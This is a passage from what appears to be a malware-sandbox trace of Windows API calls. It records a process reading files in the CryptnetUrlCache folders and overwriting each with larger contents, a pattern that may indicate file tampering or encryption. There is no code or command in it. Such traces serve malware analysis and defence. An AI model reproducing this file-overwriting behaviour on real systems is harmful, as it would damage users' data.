lpWideCharStr="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0051.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cchWideChar=65, lpMultiByteStr=0x1e956f4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpUsedDefaultChar=0x0) returned 65 [0051.317] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1d8, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x318f2bc*=0x1d8, lpOverlapped=0x0) returned 1 [0051.318] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.318] WriteFile (in: hFile=0x1d4, lpBuffer=0x26156c8*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26156c8*, lpNumberOfBytesWritten=0x318f2d0*=0x760, lpOverlapped=0x0) returned 1 [0051.318] CloseHandle (hObject=0x1d4) returned 1 [0051.318] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\5457a8ce4b2a7499f8299a013b6e1c7c_ce50f893881d43dc0c815e4d80faf2b4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.319] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.319] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1d7 [0051.319] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.319] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.319] ReleaseMutex (hMutex=0x128) returned 1 [0051.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0051.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cchWideChar=65, lpMultiByteStr=0x1e956f4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", lpUsedDefaultChar=0x0) returned 65 [0051.319] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e4cf28, nNumberOfBytesToRead=0x1d7, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e4cf28*, lpNumberOfBytesRead=0x318f2bc*=0x1d7, lpOverlapped=0x0) returned 1 [0051.320] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.320] WriteFile (in: hFile=0x1d4, lpBuffer=0x26156c8*, nNumberOfBytesToWrite=0x75f, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26156c8*, lpNumberOfBytesWritten=0x318f2d0*=0x75f, lpOverlapped=0x0) returned 1 [0051.320] CloseHandle (hObject=0x1d4) returned 1 [0051.320] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_294110d6990ee392327f8a606d55bc1e"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.321] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.321] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1cf [0051.321] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.322] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.322] ReleaseMutex (hMutex=0x128) returned 1 [0051.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0051.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cchWideChar=65, lpMultiByteStr=0x1e956f4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", lpUsedDefaultChar=0x0) returned 65 [0051.322] ReadFile (in: hFile=0x1d4, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1cf, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x318f2bc*=0x1cf, lpOverlapped=0x0) returned 1 [0051.323] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.323] WriteFile (in: hFile=0x1d4, lpBuffer=0x26156c8*, nNumberOfBytesToWrite=0x757, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26156c8*, lpNumberOfBytesWritten=0x318f2d0*=0x757, lpOverlapped=0x0) returned 1 [0051.323] CloseHandle (hObject=0x1d4) returned 1 [0051.323] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8828f39c7c0ce9a14b25c7eb321181ba_3df94eb797096674f7793a562a778c5f"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.323] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.323] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x6e3 [0051.323] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.323] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.324] ReleaseMutex (hMutex=0x128) returned 1 [0051.324] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0051.324] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cchWideChar=65, lpMultiByteStr=0x1e956f4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", lpUsedDefaultChar=0x0) returned 65 [0051.324] ReadFile (in: hFile=0x1d4, lpBuffer=0x261fa88, nNumberOfBytesToRead=0x6e3, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesRead=0x318f2bc*=0x6e3, lpOverlapped=0x0) returned 1 [0051.330] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.330] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dac638*, nNumberOfBytesToWrite=0xc6b, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesWritten=0x318f2d0*=0xc6b, lpOverlapped=0x0) returned 1 [0051.330] CloseHandle (hObject=0x1d4) returned 1 [0051.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\b3bb9c1ba2d19e090ae305b2683903a0_6f0a84ce2ba99bd19d42c92610275852"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.330] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.330] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x652 [0051.330] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.330] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.330] ReleaseMutex (hMutex=0x128) returned 1 [0051.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0051.330] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cchWideChar=65, lpMultiByteStr=0x1e956f4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", lpUsedDefaultChar=0x0) returned 65 [0051.330] ReadFile (in: hFile=0x1d4, lpBuffer=0x263fd98, nNumberOfBytesToRead=0x652, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesRead=0x318f2bc*=0x652, lpOverlapped=0x0) returned 1 [0051.332] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.332] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dac638*, nNumberOfBytesToWrite=0xbda, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesWritten=0x318f2d0*=0xbda, lpOverlapped=0x0) returned 1 [0051.332] CloseHandle (hObject=0x1d4) returned 1 [0051.332] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\ea618097e393409afa316f0f87e2c202_827c1b837652b048c4c84237d0838585"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.333] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.333] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x64b [0051.333] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.333] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.333] ReleaseMutex (hMutex=0x128) returned 1 [0051.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0051.333] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cchWideChar=65, lpMultiByteStr=0x1e956f4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", lpUsedDefaultChar=0x0) returned 65 [0051.334] ReadFile (in: hFile=0x1d4, lpBuffer=0x263fd98, nNumberOfBytesToRead=0x64b, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesRead=0x318f2bc*=0x64b, lpOverlapped=0x0) returned 1 [0051.346] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.346] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dac638*, nNumberOfBytesToWrite=0xbd3, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dac638*, lpNumberOfBytesWritten=0x318f2d0*=0xbd3, lpOverlapped=0x0) returned 1 [0051.346] CloseHandle (hObject=0x1d4) returned 1 [0051.346] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\40e450f7ce13419a2ccc2a5445035a0a_06f02b1f13ab4b11b8fc669bde565af1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.347] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.347] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x190 [0051.347] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.348] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.348] ReleaseMutex (hMutex=0x128) returned 1 [0051.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0051.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cchWideChar=65, lpMultiByteStr=0x1e956f4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", lpUsedDefaultChar=0x0) returned 65 [0051.348] ReadFile (in: hFile=0x1d4, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x190, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x318f2bc*=0x190, lpOverlapped=0x0) returned 1 [0051.348] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.349] WriteFile (in: hFile=0x1d4, lpBuffer=0x26156c8*, nNumberOfBytesToWrite=0x718, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26156c8*, lpNumberOfBytesWritten=0x318f2d0*=0x718, lpOverlapped=0x0) returned 1 [0051.349] CloseHandle (hObject=0x1d4) returned 1 [0051.349] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\7b2238aaccedc3f1ffe8e7eb5f575ec9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.350] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.350] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xdc [0051.350] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.350] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.350] ReleaseMutex (hMutex=0x128) returned 1 [0051.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0051.350] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cchWideChar=32, lpMultiByteStr=0x1eb2084, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpUsedDefaultChar=0x0) returned 32 [0051.350] ReadFile (in: hFile=0x1d4, lpBuffer=0x25c4ea8, nNumberOfBytesToRead=0xdc, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c4ea8*, lpNumberOfBytesRead=0x318f2bc*=0xdc, lpOverlapped=0x0) returned 1 [0051.351] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.351] WriteFile (in: hFile=0x1d4, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x664, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x318f2d0*=0x664, lpOverlapped=0x0) returned 1 [0051.351] CloseHandle (hObject=0x1d4) returned 1 [0051.351] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_c080da2ae431c1a7f3b0c147eeb043ed"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.352] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.352] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x186 [0051.352] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.352] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.352] ReleaseMutex (hMutex=0x128) returned 1 [0051.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0051.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cchWideChar=65, lpMultiByteStr=0x1e956f4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", lpUsedDefaultChar=0x0) returned 65 [0051.353] ReadFile (in: hFile=0x1d4, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x186, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x318f2bc*=0x186, lpOverlapped=0x0) returned 1 [0051.353] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0051.353] WriteFile (in: hFile=0x1d4, lpBuffer=0x26156c8*, nNumberOfBytesToWrite=0x70e, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x26156c8*, lpNumberOfBytesWritten=0x318f2d0*=0x70e, lpOverlapped=0x0) returned 1 [0051.354] CloseHandle (hObject=0x1d4) returned 1 [0051.354] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\9bc2ffc5d9591e1bd3545230e9b7cc36_cf30943571f9bee96c487b2d9f0436e6"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0051.355] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.355] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x186 [0051.355] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0051.355] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.355] ReleaseMutex (hMutex=0x128) returned 1 [0051.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0051.355] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cchWideChar=65, lpMultiByteStr=0x1e956f4, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", lpUsedDefaultChar=0x0) returned 65 [0051.355] ReadFile (in: hFile=0x1d4, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x186, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x318f2bc*=0x186, lpOverlapped=0x0) returned 1 